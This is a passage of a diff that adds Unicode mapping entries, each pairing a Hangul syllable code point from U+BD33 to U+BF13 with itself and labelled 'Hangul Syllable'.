+ ["\uBD33", "\uBD33"], /* Hangul Syllable */
+ ["\uBD34", "\uBD34"], /* Hangul Syllable */
+ ["\uBD35", "\uBD35"], /* Hangul Syllable */
+ ["\uBD36", "\uBD36"], /* Hangul Syllable */
+ ["\uBD37", "\uBD37"], /* Hangul Syllable */
+ ["\uBD38", "\uBD38"], /* Hangul Syllable */
+ ["\uBD39", "\uBD39"], /* Hangul Syllable */
+ ["\uBD3A", "\uBD3A"], /* Hangul Syllable */
+ ["\uBD3B", "\uBD3B"], /* Hangul Syllable */
+ ["\uBD3C", "\uBD3C"], /* Hangul Syllable */
+ ["\uBD3D", "\uBD3D"], /* Hangul Syllable */
+ ["\uBD3E", "\uBD3E"], /* Hangul Syllable */
+ ["\uBD3F", "\uBD3F"], /* Hangul Syllable */
+ ["\uBD40", "\uBD40"], /* Hangul Syllable */
+ ["\uBD41", "\uBD41"], /* Hangul Syllable */
+ ["\uBD42", "\uBD42"], /* Hangul Syllable */
+ ["\uBD43", "\uBD43"], /* Hangul Syllable */
+ ["\uBD44", "\uBD44"], /* Hangul Syllable */
+ ["\uBD45", "\uBD45"], /* Hangul Syllable */
+ ["\uBD46", "\uBD46"], /* Hangul Syllable */
+ ["\uBD47", "\uBD47"], /* Hangul Syllable */
+ ["\uBD48", "\uBD48"], /* Hangul Syllable */
+ ["\uBD49", "\uBD49"], /* Hangul Syllable */
+ ["\uBD4A", "\uBD4A"], /* Hangul Syllable */
+ ["\uBD4B", "\uBD4B"], /* Hangul Syllable */
+ ["\uBD4C", "\uBD4C"], /* Hangul Syllable */
+ ["\uBD4D", "\uBD4D"], /* Hangul Syllable */
+ ["\uBD4E", "\uBD4E"], /* Hangul Syllable */
+ ["\uBD4F", "\uBD4F"], /* Hangul Syllable */
+ ["\uBD50", "\uBD50"], /* Hangul Syllable */
+ ["\uBD51", "\uBD51"], /* Hangul Syllable */
+ ["\uBD52", "\uBD52"], /* Hangul Syllable */
+ ["\uBD53", "\uBD53"], /* Hangul Syllable */
+ ["\uBD54", "\uBD54"], /* Hangul Syllable */
+ ["\uBD55", "\uBD55"], /* Hangul Syllable */
+ ["\uBD56", "\uBD56"], /* Hangul Syllable */
+ ["\uBD57", "\uBD57"], /* Hangul Syllable */
+ ["\uBD58", "\uBD58"], /* Hangul Syllable */
+ ["\uBD59", "\uBD59"], /* Hangul Syllable */
+ ["\uBD5A", "\uBD5A"], /* Hangul Syllable */
+ ["\uBD5B", "\uBD5B"], /* Hangul Syllable */
+ ["\uBD5C", "\uBD5C"], /* Hangul Syllable */
+ ["\uBD5D", "\uBD5D"], /* Hangul Syllable */
+ ["\uBD5E", "\uBD5E"], /* Hangul Syllable */
+ ["\uBD5F", "\uBD5F"], /* Hangul Syllable */
+ ["\uBD60", "\uBD60"], /* Hangul Syllable */
+ ["\uBD61", "\uBD61"], /* Hangul Syllable */
+ ["\uBD62", "\uBD62"], /* Hangul Syllable */
+ ["\uBD63", "\uBD63"], /* Hangul Syllable */
+ ["\uBD64", "\uBD64"], /* Hangul Syllable */
+ ["\uBD65", "\uBD65"], /* Hangul Syllable */
+ ["\uBD66", "\uBD66"], /* Hangul Syllable */
+ ["\uBD67", "\uBD67"], /* Hangul Syllable */
+ ["\uBD68", "\uBD68"], /* Hangul Syllable */
+ ["\uBD69", "\uBD69"], /* Hangul Syllable */
+ ["\uBD6A", "\uBD6A"], /* Hangul Syllable */
+ ["\uBD6B", "\uBD6B"], /* Hangul Syllable */
+ ["\uBD6C", "\uBD6C"], /* Hangul Syllable */
+ ["\uBD6D", "\uBD6D"], /* Hangul Syllable */
+ ["\uBD6E", "\uBD6E"], /* Hangul Syllable */
+ ["\uBD6F", "\uBD6F"], /* Hangul Syllable */
+ ["\uBD70", "\uBD70"], /* Hangul Syllable */
+ ["\uBD71", "\uBD71"], /* Hangul Syllable */
+ ["\uBD72", "\uBD72"], /* Hangul Syllable */
+ ["\uBD73", "\uBD73"], /* Hangul Syllable */
+ ["\uBD74", "\uBD74"], /* Hangul Syllable */
+ ["\uBD75", "\uBD75"], /* Hangul Syllable */
+ ["\uBD76", "\uBD76"], /* Hangul Syllable */
+ ["\uBD77", "\uBD77"], /* Hangul Syllable */
+ ["\uBD78", "\uBD78"], /* Hangul Syllable */
+ ["\uBD79", "\uBD79"], /* Hangul Syllable */
+ ["\uBD7A", "\uBD7A"], /* Hangul Syllable */
+ ["\uBD7B", "\uBD7B"], /* Hangul Syllable */
+ ["\uBD7C", "\uBD7C"], /* Hangul Syllable */
+ ["\uBD7D", "\uBD7D"], /* Hangul Syllable */
+ ["\uBD7E", "\uBD7E"], /* Hangul Syllable */
+ ["\uBD7F", "\uBD7F"], /* Hangul Syllable */
+ ["\uBD80", "\uBD80"], /* Hangul Syllable */
+ ["\uBD81", "\uBD81"], /* Hangul Syllable */
+ ["\uBD82", "\uBD82"], /* Hangul Syllable */
+ ["\uBD83", "\uBD83"], /* Hangul Syllable */
+ ["\uBD84", "\uBD84"], /* Hangul Syllable */
+ ["\uBD85", "\uBD85"], /* Hangul Syllable */
+ ["\uBD86", "\uBD86"], /* Hangul Syllable */
+ ["\uBD87", "\uBD87"], /* Hangul Syllable */
+ ["\uBD88", "\uBD88"], /* Hangul Syllable */
+ ["\uBD89", "\uBD89"], /* Hangul Syllable */
+ ["\uBD8A", "\uBD8A"], /* Hangul Syllable */
+ ["\uBD8B", "\uBD8B"], /* Hangul Syllable */
+ ["\uBD8C", "\uBD8C"], /* Hangul Syllable */
+ ["\uBD8D", "\uBD8D"], /* Hangul Syllable */
+ ["\uBD8E", "\uBD8E"], /* Hangul Syllable */
+ ["\uBD8F", "\uBD8F"], /* Hangul Syllable */
+ ["\uBD90", "\uBD90"], /* Hangul Syllable */
+ ["\uBD91", "\uBD91"], /* Hangul Syllable */
+ ["\uBD92", "\uBD92"], /* Hangul Syllable */
+ ["\uBD93", "\uBD93"], /* Hangul Syllable */
+ ["\uBD94", "\uBD94"], /* Hangul Syllable */
+ ["\uBD95", "\uBD95"], /* Hangul Syllable */
+ ["\uBD96", "\uBD96"], /* Hangul Syllable */
+ ["\uBD97", "\uBD97"], /* Hangul Syllable */
+ ["\uBD98", "\uBD98"], /* Hangul Syllable */
+ ["\uBD99", "\uBD99"], /* Hangul Syllable */
+ ["\uBD9A", "\uBD9A"], /* Hangul Syllable */
+ ["\uBD9B", "\uBD9B"], /* Hangul Syllable */
+ ["\uBD9C", "\uBD9C"], /* Hangul Syllable */
+ ["\uBD9D", "\uBD9D"], /* Hangul Syllable */
+ ["\uBD9E", "\uBD9E"], /* Hangul Syllable */
+ ["\uBD9F", "\uBD9F"], /* Hangul Syllable */
+ ["\uBDA0", "\uBDA0"], /* Hangul Syllable */
+ ["\uBDA1", "\uBDA1"], /* Hangul Syllable */
+ ["\uBDA2", "\uBDA2"], /* Hangul Syllable */
+ ["\uBDA3", "\uBDA3"], /* Hangul Syllable */
+ ["\uBDA4", "\uBDA4"], /* Hangul Syllable */
+ ["\uBDA5", "\uBDA5"], /* Hangul Syllable */
+ ["\uBDA6", "\uBDA6"], /* Hangul Syllable */
+ ["\uBDA7", "\uBDA7"], /* Hangul Syllable */
+ ["\uBDA8", "\uBDA8"], /* Hangul Syllable */
+ ["\uBDA9", "\uBDA9"], /* Hangul Syllable */
+ ["\uBDAA", "\uBDAA"], /* Hangul Syllable */
+ ["\uBDAB", "\uBDAB"], /* Hangul Syllable */
+ ["\uBDAC", "\uBDAC"], /* Hangul Syllable */
+ ["\uBDAD", "\uBDAD"], /* Hangul Syllable */
+ ["\uBDAE", "\uBDAE"], /* Hangul Syllable */
+ ["\uBDAF", "\uBDAF"], /* Hangul Syllable */
+ ["\uBDB0", "\uBDB0"], /* Hangul Syllable */
+ ["\uBDB1", "\uBDB1"], /* Hangul Syllable */
+ ["\uBDB2", "\uBDB2"], /* Hangul Syllable */
+ ["\uBDB3", "\uBDB3"], /* Hangul Syllable */
+ ["\uBDB4", "\uBDB4"], /* Hangul Syllable */
+ ["\uBDB5", "\uBDB5"], /* Hangul Syllable */
+ ["\uBDB6", "\uBDB6"], /* Hangul Syllable */
+ ["\uBDB7", "\uBDB7"], /* Hangul Syllable */
+ ["\uBDB8", "\uBDB8"], /* Hangul Syllable */
+ ["\uBDB9", "\uBDB9"], /* Hangul Syllable */
+ ["\uBDBA", "\uBDBA"], /* Hangul Syllable */
+ ["\uBDBB", "\uBDBB"], /* Hangul Syllable */
+ ["\uBDBC", "\uBDBC"], /* Hangul Syllable */
+ ["\uBDBD", "\uBDBD"], /* Hangul Syllable */
+ ["\uBDBE", "\uBDBE"], /* Hangul Syllable */
+ ["\uBDBF", "\uBDBF"], /* Hangul Syllable */
+ ["\uBDC0", "\uBDC0"], /* Hangul Syllable */
+ ["\uBDC1", "\uBDC1"], /* Hangul Syllable */
+ ["\uBDC2", "\uBDC2"], /* Hangul Syllable */
+ ["\uBDC3", "\uBDC3"], /* Hangul Syllable */
+ ["\uBDC4", "\uBDC4"], /* Hangul Syllable */
+ ["\uBDC5", "\uBDC5"], /* Hangul Syllable */
+ ["\uBDC6", "\uBDC6"], /* Hangul Syllable */
+ ["\uBDC7", "\uBDC7"], /* Hangul Syllable */
+ ["\uBDC8", "\uBDC8"], /* Hangul Syllable */
+ ["\uBDC9", "\uBDC9"], /* Hangul Syllable */
+ ["\uBDCA", "\uBDCA"], /* Hangul Syllable */
+ ["\uBDCB", "\uBDCB"], /* Hangul Syllable */
+ ["\uBDCC", "\uBDCC"], /* Hangul Syllable */
+ ["\uBDCD", "\uBDCD"], /* Hangul Syllable */
+ ["\uBDCE", "\uBDCE"], /* Hangul Syllable */
+ ["\uBDCF", "\uBDCF"], /* Hangul Syllable */
+ ["\uBDD0", "\uBDD0"], /* Hangul Syllable */
+ ["\uBDD1", "\uBDD1"], /* Hangul Syllable */
+ ["\uBDD2", "\uBDD2"], /* Hangul Syllable */
+ ["\uBDD3", "\uBDD3"], /* Hangul Syllable */
+ ["\uBDD4", "\uBDD4"], /* Hangul Syllable */
+ ["\uBDD5", "\uBDD5"], /* Hangul Syllable */
+ ["\uBDD6", "\uBDD6"], /* Hangul Syllable */
+ ["\uBDD7", "\uBDD7"], /* Hangul Syllable */
+ ["\uBDD8", "\uBDD8"], /* Hangul Syllable */
+ ["\uBDD9", "\uBDD9"], /* Hangul Syllable */
+ ["\uBDDA", "\uBDDA"], /* Hangul Syllable */
+ ["\uBDDB", "\uBDDB"], /* Hangul Syllable */
+ ["\uBDDC", "\uBDDC"], /* Hangul Syllable */
+ ["\uBDDD", "\uBDDD"], /* Hangul Syllable */
+ ["\uBDDE", "\uBDDE"], /* Hangul Syllable */
+ ["\uBDDF", "\uBDDF"], /* Hangul Syllable */
+ ["\uBDE0", "\uBDE0"], /* Hangul Syllable */
+ ["\uBDE1", "\uBDE1"], /* Hangul Syllable */
+ ["\uBDE2", "\uBDE2"], /* Hangul Syllable */
+ ["\uBDE3", "\uBDE3"], /* Hangul Syllable */
+ ["\uBDE4", "\uBDE4"], /* Hangul Syllable */
+ ["\uBDE5", "\uBDE5"], /* Hangul Syllable */
+ ["\uBDE6", "\uBDE6"], /* Hangul Syllable */
+ ["\uBDE7", "\uBDE7"], /* Hangul Syllable */
+ ["\uBDE8", "\uBDE8"], /* Hangul Syllable */
+ ["\uBDE9", "\uBDE9"], /* Hangul Syllable */
+ ["\uBDEA", "\uBDEA"], /* Hangul Syllable */
+ ["\uBDEB", "\uBDEB"], /* Hangul Syllable */
+ ["\uBDEC", "\uBDEC"], /* Hangul Syllable */
+ ["\uBDED", "\uBDED"], /* Hangul Syllable */
+ ["\uBDEE", "\uBDEE"], /* Hangul Syllable */
+ ["\uBDEF", "\uBDEF"], /* Hangul Syllable */
+ ["\uBDF0", "\uBDF0"], /* Hangul Syllable */
+ ["\uBDF1", "\uBDF1"], /* Hangul Syllable */
+ ["\uBDF2", "\uBDF2"], /* Hangul Syllable */
+ ["\uBDF3", "\uBDF3"], /* Hangul Syllable */
+ ["\uBDF4", "\uBDF4"], /* Hangul Syllable */
+ ["\uBDF5", "\uBDF5"], /* Hangul Syllable */
+ ["\uBDF6", "\uBDF6"], /* Hangul Syllable */
+ ["\uBDF7", "\uBDF7"], /* Hangul Syllable */
+ ["\uBDF8", "\uBDF8"], /* Hangul Syllable */
+ ["\uBDF9", "\uBDF9"], /* Hangul Syllable */
+ ["\uBDFA", "\uBDFA"], /* Hangul Syllable */
+ ["\uBDFB", "\uBDFB"], /* Hangul Syllable */
+ ["\uBDFC", "\uBDFC"], /* Hangul Syllable */
+ ["\uBDFD", "\uBDFD"], /* Hangul Syllable */
+ ["\uBDFE", "\uBDFE"], /* Hangul Syllable */
+ ["\uBDFF", "\uBDFF"], /* Hangul Syllable */
+ ["\uBE00", "\uBE00"], /* Hangul Syllable */
+ ["\uBE01", "\uBE01"], /* Hangul Syllable */
+ ["\uBE02", "\uBE02"], /* Hangul Syllable */
+ ["\uBE03", "\uBE03"], /* Hangul Syllable */
+ ["\uBE04", "\uBE04"], /* Hangul Syllable */
+ ["\uBE05", "\uBE05"], /* Hangul Syllable */
+ ["\uBE06", "\uBE06"], /* Hangul Syllable */
+ ["\uBE07", "\uBE07"], /* Hangul Syllable */
+ ["\uBE08", "\uBE08"], /* Hangul Syllable */
+ ["\uBE09", "\uBE09"], /* Hangul Syllable */
+ ["\uBE0A", "\uBE0A"], /* Hangul Syllable */
+ ["\uBE0B", "\uBE0B"], /* Hangul Syllable */
+ ["\uBE0C", "\uBE0C"], /* Hangul Syllable */
+ ["\uBE0D", "\uBE0D"], /* Hangul Syllable */
+ ["\uBE0E", "\uBE0E"], /* Hangul Syllable */
+ ["\uBE0F", "\uBE0F"], /* Hangul Syllable */
+ ["\uBE10", "\uBE10"], /* Hangul Syllable */
+ ["\uBE11", "\uBE11"], /* Hangul Syllable */
+ ["\uBE12", "\uBE12"], /* Hangul Syllable */
+ ["\uBE13", "\uBE13"], /* Hangul Syllable */
+ ["\uBE14", "\uBE14"], /* Hangul Syllable */
+ ["\uBE15", "\uBE15"], /* Hangul Syllable */
+ ["\uBE16", "\uBE16"], /* Hangul Syllable */
+ ["\uBE17", "\uBE17"], /* Hangul Syllable */
+ ["\uBE18", "\uBE18"], /* Hangul Syllable */
+ ["\uBE19", "\uBE19"], /* Hangul Syllable */
+ ["\uBE1A", "\uBE1A"], /* Hangul Syllable */
+ ["\uBE1B", "\uBE1B"], /* Hangul Syllable */
+ ["\uBE1C", "\uBE1C"], /* Hangul Syllable */
+ ["\uBE1D", "\uBE1D"], /* Hangul Syllable */
+ ["\uBE1E", "\uBE1E"], /* Hangul Syllable */
+ ["\uBE1F", "\uBE1F"], /* Hangul Syllable */
+ ["\uBE20", "\uBE20"], /* Hangul Syllable */
+ ["\uBE21", "\uBE21"], /* Hangul Syllable */
+ ["\uBE22", "\uBE22"], /* Hangul Syllable */
+ ["\uBE23", "\uBE23"], /* Hangul Syllable */
+ ["\uBE24", "\uBE24"], /* Hangul Syllable */
+ ["\uBE25", "\uBE25"], /* Hangul Syllable */
+ ["\uBE26", "\uBE26"], /* Hangul Syllable */
+ ["\uBE27", "\uBE27"], /* Hangul Syllable */
+ ["\uBE28", "\uBE28"], /* Hangul Syllable */
+ ["\uBE29", "\uBE29"], /* Hangul Syllable */
+ ["\uBE2A", "\uBE2A"], /* Hangul Syllable */
+ ["\uBE2B", "\uBE2B"], /* Hangul Syllable */
+ ["\uBE2C", "\uBE2C"], /* Hangul Syllable */
+ ["\uBE2D", "\uBE2D"], /* Hangul Syllable */
+ ["\uBE2E", "\uBE2E"], /* Hangul Syllable */
+ ["\uBE2F", "\uBE2F"], /* Hangul Syllable */
+ ["\uBE30", "\uBE30"], /* Hangul Syllable */
+ ["\uBE31", "\uBE31"], /* Hangul Syllable */
+ ["\uBE32", "\uBE32"], /* Hangul Syllable */
+ ["\uBE33", "\uBE33"], /* Hangul Syllable */
+ ["\uBE34", "\uBE34"], /* Hangul Syllable */
+ ["\uBE35", "\uBE35"], /* Hangul Syllable */
+ ["\uBE36", "\uBE36"], /* Hangul Syllable */
+ ["\uBE37", "\uBE37"], /* Hangul Syllable */
+ ["\uBE38", "\uBE38"], /* Hangul Syllable */
+ ["\uBE39", "\uBE39"], /* Hangul Syllable */
+ ["\uBE3A", "\uBE3A"], /* Hangul Syllable */
+ ["\uBE3B", "\uBE3B"], /* Hangul Syllable */
+ ["\uBE3C", "\uBE3C"], /* Hangul Syllable */
+ ["\uBE3D", "\uBE3D"], /* Hangul Syllable */
+ ["\uBE3E", "\uBE3E"], /* Hangul Syllable */
+ ["\uBE3F", "\uBE3F"], /* Hangul Syllable */
+ ["\uBE40", "\uBE40"], /* Hangul Syllable */
+ ["\uBE41", "\uBE41"], /* Hangul Syllable */
+ ["\uBE42", "\uBE42"], /* Hangul Syllable */
+ ["\uBE43", "\uBE43"], /* Hangul Syllable */
+ ["\uBE44", "\uBE44"], /* Hangul Syllable */
+ ["\uBE45", "\uBE45"], /* Hangul Syllable */
+ ["\uBE46", "\uBE46"], /* Hangul Syllable */
+ ["\uBE47", "\uBE47"], /* Hangul Syllable */
+ ["\uBE48", "\uBE48"], /* Hangul Syllable */
+ ["\uBE49", "\uBE49"], /* Hangul Syllable */
+ ["\uBE4A", "\uBE4A"], /* Hangul Syllable */
+ ["\uBE4B", "\uBE4B"], /* Hangul Syllable */
+ ["\uBE4C", "\uBE4C"], /* Hangul Syllable */
+ ["\uBE4D", "\uBE4D"], /* Hangul Syllable */
+ ["\uBE4E", "\uBE4E"], /* Hangul Syllable */
+ ["\uBE4F", "\uBE4F"], /* Hangul Syllable */
+ ["\uBE50", "\uBE50"], /* Hangul Syllable */
+ ["\uBE51", "\uBE51"], /* Hangul Syllable */
+ ["\uBE52", "\uBE52"], /* Hangul Syllable */
+ ["\uBE53", "\uBE53"], /* Hangul Syllable */
+ ["\uBE54", "\uBE54"], /* Hangul Syllable */
+ ["\uBE55", "\uBE55"], /* Hangul Syllable */
+ ["\uBE56", "\uBE56"], /* Hangul Syllable */
+ ["\uBE57", "\uBE57"], /* Hangul Syllable */
+ ["\uBE58", "\uBE58"], /* Hangul Syllable */
+ ["\uBE59", "\uBE59"], /* Hangul Syllable */
+ ["\uBE5A", "\uBE5A"], /* Hangul Syllable */
+ ["\uBE5B", "\uBE5B"], /* Hangul Syllable */
+ ["\uBE5C", "\uBE5C"], /* Hangul Syllable */
+ ["\uBE5D", "\uBE5D"], /* Hangul Syllable */
+ ["\uBE5E", "\uBE5E"], /* Hangul Syllable */
+ ["\uBE5F", "\uBE5F"], /* Hangul Syllable */
+ ["\uBE60", "\uBE60"], /* Hangul Syllable */
+ ["\uBE61", "\uBE61"], /* Hangul Syllable */
+ ["\uBE62", "\uBE62"], /* Hangul Syllable */
+ ["\uBE63", "\uBE63"], /* Hangul Syllable */
+ ["\uBE64", "\uBE64"], /* Hangul Syllable */
+ ["\uBE65", "\uBE65"], /* Hangul Syllable */
+ ["\uBE66", "\uBE66"], /* Hangul Syllable */
+ ["\uBE67", "\uBE67"], /* Hangul Syllable */
+ ["\uBE68", "\uBE68"], /* Hangul Syllable */
+ ["\uBE69", "\uBE69"], /* Hangul Syllable */
+ ["\uBE6A", "\uBE6A"], /* Hangul Syllable */
+ ["\uBE6B", "\uBE6B"], /* Hangul Syllable */
+ ["\uBE6C", "\uBE6C"], /* Hangul Syllable */
+ ["\uBE6D", "\uBE6D"], /* Hangul Syllable */
+ ["\uBE6E", "\uBE6E"], /* Hangul Syllable */
+ ["\uBE6F", "\uBE6F"], /* Hangul Syllable */
+ ["\uBE70", "\uBE70"], /* Hangul Syllable */
+ ["\uBE71", "\uBE71"], /* Hangul Syllable */
+ ["\uBE72", "\uBE72"], /* Hangul Syllable */
+ ["\uBE73", "\uBE73"], /* Hangul Syllable */
+ ["\uBE74", "\uBE74"], /* Hangul Syllable */
+ ["\uBE75", "\uBE75"], /* Hangul Syllable */
+ ["\uBE76", "\uBE76"], /* Hangul Syllable */
+ ["\uBE77", "\uBE77"], /* Hangul Syllable */
+ ["\uBE78", "\uBE78"], /* Hangul Syllable */
+ ["\uBE79", "\uBE79"], /* Hangul Syllable */
+ ["\uBE7A", "\uBE7A"], /* Hangul Syllable */
+ ["\uBE7B", "\uBE7B"], /* Hangul Syllable */
+ ["\uBE7C", "\uBE7C"], /* Hangul Syllable */
+ ["\uBE7D", "\uBE7D"], /* Hangul Syllable */
+ ["\uBE7E", "\uBE7E"], /* Hangul Syllable */
+ ["\uBE7F", "\uBE7F"], /* Hangul Syllable */
+ ["\uBE80", "\uBE80"], /* Hangul Syllable */
+ ["\uBE81", "\uBE81"], /* Hangul Syllable */
+ ["\uBE82", "\uBE82"], /* Hangul Syllable */
+ ["\uBE83", "\uBE83"], /* Hangul Syllable */
+ ["\uBE84", "\uBE84"], /* Hangul Syllable */
+ ["\uBE85", "\uBE85"], /* Hangul Syllable */
+ ["\uBE86", "\uBE86"], /* Hangul Syllable */
+ ["\uBE87", "\uBE87"], /* Hangul Syllable */
+ ["\uBE88", "\uBE88"], /* Hangul Syllable */
+ ["\uBE89", "\uBE89"], /* Hangul Syllable */
+ ["\uBE8A", "\uBE8A"], /* Hangul Syllable */
+ ["\uBE8B", "\uBE8B"], /* Hangul Syllable */
+ ["\uBE8C", "\uBE8C"], /* Hangul Syllable */
+ ["\uBE8D", "\uBE8D"], /* Hangul Syllable */
+ ["\uBE8E", "\uBE8E"], /* Hangul Syllable */
+ ["\uBE8F", "\uBE8F"], /* Hangul Syllable */
+ ["\uBE90", "\uBE90"], /* Hangul Syllable */
+ ["\uBE91", "\uBE91"], /* Hangul Syllable */
+ ["\uBE92", "\uBE92"], /* Hangul Syllable */
+ ["\uBE93", "\uBE93"], /* Hangul Syllable */
+ ["\uBE94", "\uBE94"], /* Hangul Syllable */
+ ["\uBE95", "\uBE95"], /* Hangul Syllable */
+ ["\uBE96", "\uBE96"], /* Hangul Syllable */
+ ["\uBE97", "\uBE97"], /* Hangul Syllable */
+ ["\uBE98", "\uBE98"], /* Hangul Syllable */
+ ["\uBE99", "\uBE99"], /* Hangul Syllable */
+ ["\uBE9A", "\uBE9A"], /* Hangul Syllable */
+ ["\uBE9B", "\uBE9B"], /* Hangul Syllable */
+ ["\uBE9C", "\uBE9C"], /* Hangul Syllable */
+ ["\uBE9D", "\uBE9D"], /* Hangul Syllable */
+ ["\uBE9E", "\uBE9E"], /* Hangul Syllable */
+ ["\uBE9F", "\uBE9F"], /* Hangul Syllable */
+ ["\uBEA0", "\uBEA0"], /* Hangul Syllable */
+ ["\uBEA1", "\uBEA1"], /* Hangul Syllable */
+ ["\uBEA2", "\uBEA2"], /* Hangul Syllable */
+ ["\uBEA3", "\uBEA3"], /* Hangul Syllable */
+ ["\uBEA4", "\uBEA4"], /* Hangul Syllable */
+ ["\uBEA5", "\uBEA5"], /* Hangul Syllable */
+ ["\uBEA6", "\uBEA6"], /* Hangul Syllable */
+ ["\uBEA7", "\uBEA7"], /* Hangul Syllable */
+ ["\uBEA8", "\uBEA8"], /* Hangul Syllable */
+ ["\uBEA9", "\uBEA9"], /* Hangul Syllable */
+ ["\uBEAA", "\uBEAA"], /* Hangul Syllable */
+ ["\uBEAB", "\uBEAB"], /* Hangul Syllable */
+ ["\uBEAC", "\uBEAC"], /* Hangul Syllable */
+ ["\uBEAD", "\uBEAD"], /* Hangul Syllable */
+ ["\uBEAE", "\uBEAE"], /* Hangul Syllable */
+ ["\uBEAF", "\uBEAF"], /* Hangul Syllable */
+ ["\uBEB0", "\uBEB0"], /* Hangul Syllable */
+ ["\uBEB1", "\uBEB1"], /* Hangul Syllable */
+ ["\uBEB2", "\uBEB2"], /* Hangul Syllable */
+ ["\uBEB3", "\uBEB3"], /* Hangul Syllable */
+ ["\uBEB4", "\uBEB4"], /* Hangul Syllable */
+ ["\uBEB5", "\uBEB5"], /* Hangul Syllable */
+ ["\uBEB6", "\uBEB6"], /* Hangul Syllable */
+ ["\uBEB7", "\uBEB7"], /* Hangul Syllable */
+ ["\uBEB8", "\uBEB8"], /* Hangul Syllable */
+ ["\uBEB9", "\uBEB9"], /* Hangul Syllable */
+ ["\uBEBA", "\uBEBA"], /* Hangul Syllable */
+ ["\uBEBB", "\uBEBB"], /* Hangul Syllable */
+ ["\uBEBC", "\uBEBC"], /* Hangul Syllable */
+ ["\uBEBD", "\uBEBD"], /* Hangul Syllable */
+ ["\uBEBE", "\uBEBE"], /* Hangul Syllable */
+ ["\uBEBF", "\uBEBF"], /* Hangul Syllable */
+ ["\uBEC0", "\uBEC0"], /* Hangul Syllable */
+ ["\uBEC1", "\uBEC1"], /* Hangul Syllable */
+ ["\uBEC2", "\uBEC2"], /* Hangul Syllable */
+ ["\uBEC3", "\uBEC3"], /* Hangul Syllable */
+ ["\uBEC4", "\uBEC4"], /* Hangul Syllable */
+ ["\uBEC5", "\uBEC5"], /* Hangul Syllable */
+ ["\uBEC6", "\uBEC6"], /* Hangul Syllable */
+ ["\uBEC7", "\uBEC7"], /* Hangul Syllable */
+ ["\uBEC8", "\uBEC8"], /* Hangul Syllable */
+ ["\uBEC9", "\uBEC9"], /* Hangul Syllable */
+ ["\uBECA", "\uBECA"], /* Hangul Syllable */
+ ["\uBECB", "\uBECB"], /* Hangul Syllable */
+ ["\uBECC", "\uBECC"], /* Hangul Syllable */
+ ["\uBECD", "\uBECD"], /* Hangul Syllable */
+ ["\uBECE", "\uBECE"], /* Hangul Syllable */
+ ["\uBECF", "\uBECF"], /* Hangul Syllable */
+ ["\uBED0", "\uBED0"], /* Hangul Syllable */
+ ["\uBED1", "\uBED1"], /* Hangul Syllable */
+ ["\uBED2", "\uBED2"], /* Hangul Syllable */
+ ["\uBED3", "\uBED3"], /* Hangul Syllable */
+ ["\uBED4", "\uBED4"], /* Hangul Syllable */
+ ["\uBED5", "\uBED5"], /* Hangul Syllable */
+ ["\uBED6", "\uBED6"], /* Hangul Syllable */
+ ["\uBED7", "\uBED7"], /* Hangul Syllable */
+ ["\uBED8", "\uBED8"], /* Hangul Syllable */
+ ["\uBED9", "\uBED9"], /* Hangul Syllable */
+ ["\uBEDA", "\uBEDA"], /* Hangul Syllable */
+ ["\uBEDB", "\uBEDB"], /* Hangul Syllable */
+ ["\uBEDC", "\uBEDC"], /* Hangul Syllable */
+ ["\uBEDD", "\uBEDD"], /* Hangul Syllable */
+ ["\uBEDE", "\uBEDE"], /* Hangul Syllable */
+ ["\uBEDF", "\uBEDF"], /* Hangul Syllable */
+ ["\uBEE0", "\uBEE0"], /* Hangul Syllable */
+ ["\uBEE1", "\uBEE1"], /* Hangul Syllable */
+ ["\uBEE2", "\uBEE2"], /* Hangul Syllable */
+ ["\uBEE3", "\uBEE3"], /* Hangul Syllable */
+ ["\uBEE4", "\uBEE4"], /* Hangul Syllable */
+ ["\uBEE5", "\uBEE5"], /* Hangul Syllable */
+ ["\uBEE6", "\uBEE6"], /* Hangul Syllable */
+ ["\uBEE7", "\uBEE7"], /* Hangul Syllable */
+ ["\uBEE8", "\uBEE8"], /* Hangul Syllable */
+ ["\uBEE9", "\uBEE9"], /* Hangul Syllable */
+ ["\uBEEA", "\uBEEA"], /* Hangul Syllable */
+ ["\uBEEB", "\uBEEB"], /* Hangul Syllable */
+ ["\uBEEC", "\uBEEC"], /* Hangul Syllable */
+ ["\uBEED", "\uBEED"], /* Hangul Syllable */
+ ["\uBEEE", "\uBEEE"], /* Hangul Syllable */
+ ["\uBEEF", "\uBEEF"], /* Hangul Syllable */
+ ["\uBEF0", "\uBEF0"], /* Hangul Syllable */
+ ["\uBEF1", "\uBEF1"], /* Hangul Syllable */
+ ["\uBEF2", "\uBEF2"], /* Hangul Syllable */
+ ["\uBEF3", "\uBEF3"], /* Hangul Syllable */
+ ["\uBEF4", "\uBEF4"], /* Hangul Syllable */
+ ["\uBEF5", "\uBEF5"], /* Hangul Syllable */
+ ["\uBEF6", "\uBEF6"], /* Hangul Syllable */
+ ["\uBEF7", "\uBEF7"], /* Hangul Syllable */
+ ["\uBEF8", "\uBEF8"], /* Hangul Syllable */
+ ["\uBEF9", "\uBEF9"], /* Hangul Syllable */
+ ["\uBEFA", "\uBEFA"], /* Hangul Syllable */
+ ["\uBEFB", "\uBEFB"], /* Hangul Syllable */
+ ["\uBEFC", "\uBEFC"], /* Hangul Syllable */
+ ["\uBEFD", "\uBEFD"], /* Hangul Syllable */
+ ["\uBEFE", "\uBEFE"], /* Hangul Syllable */
+ ["\uBEFF", "\uBEFF"], /* Hangul Syllable */
+ ["\uBF00", "\uBF00"], /* Hangul Syllable */
+ ["\uBF01", "\uBF01"], /* Hangul Syllable */
+ ["\uBF02", "\uBF02"], /* Hangul Syllable */
+ ["\uBF03", "\uBF03"], /* Hangul Syllable */
+ ["\uBF04", "\uBF04"], /* Hangul Syllable */
+ ["\uBF05", "\uBF05"], /* Hangul Syllable */
+ ["\uBF06", "\uBF06"], /* Hangul Syllable */
+ ["\uBF07", "\uBF07"], /* Hangul Syllable */
+ ["\uBF08", "\uBF08"], /* Hangul Syllable */
+ ["\uBF09", "\uBF09"], /* Hangul Syllable */
+ ["\uBF0A", "\uBF0A"], /* Hangul Syllable */
+ ["\uBF0B", "\uBF0B"], /* Hangul Syllable */
+ ["\uBF0C", "\uBF0C"], /* Hangul Syllable */
+ ["\uBF0D", "\uBF0D"], /* Hangul Syllable */
+ ["\uBF0E", "\uBF0E"], /* Hangul Syllable */
+ ["\uBF0F", "\uBF0F"], /* Hangul Syllable */
+ ["\uBF10", "\uBF10"], /* Hangul Syllable */
+ ["\uBF11", "\uBF11"], /* Hangul Syllable */
+ ["\uBF12", "\uBF12"], /* Hangul Syllable */
+ ["\uBF13", "\uBF13"], /* Hangul Syllable */
